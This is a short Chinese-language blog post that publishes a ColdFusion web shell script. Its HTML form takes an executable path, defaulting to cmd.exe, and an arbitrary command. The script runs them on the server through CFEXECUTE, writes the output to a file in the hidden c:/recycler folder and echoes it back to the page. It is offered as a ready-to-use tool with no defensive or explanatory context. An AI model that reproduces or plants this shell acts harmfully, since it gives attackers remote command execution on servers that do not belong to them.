ColdFusion 执行命令脚本

<head>
<meta http-equiv="content-type" content="text/html;charset=big5">
</head>
<style type="text/css">
input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
</style>
<form method="POST" action="">
<br />
<span style="font:11px Verdana;">path: </span>
<input name="path" type="text" size="40" value="c:\windows\system32\cmd.exe"> <br />
<span style="font:11px Verdana;">cmd: </span>
<input name="cmd" type="text" size="40">
<input type="submit" value="run">
</form>
  <CFSET O = "" />
<CFTRY>
<CFEXECUTE Name="#Form.path#" Arguments="/c #Form.cmd#"   TimeOut="60"  outputfile="c:/recycler/1.txt" />
<CFFILE ACTION="Read" FILE="c:/recycler/1.txt" VARIABLE="O">
<CFCATCH Type="Any"></CFCATCH>
</CFTRY>
<CFOUTPUT>
<pre>
#O#
</CFOUTPUT>
标签: 无
返回文章列表 文章二维码
本页链接的二维码
打赏二维码
添加新评论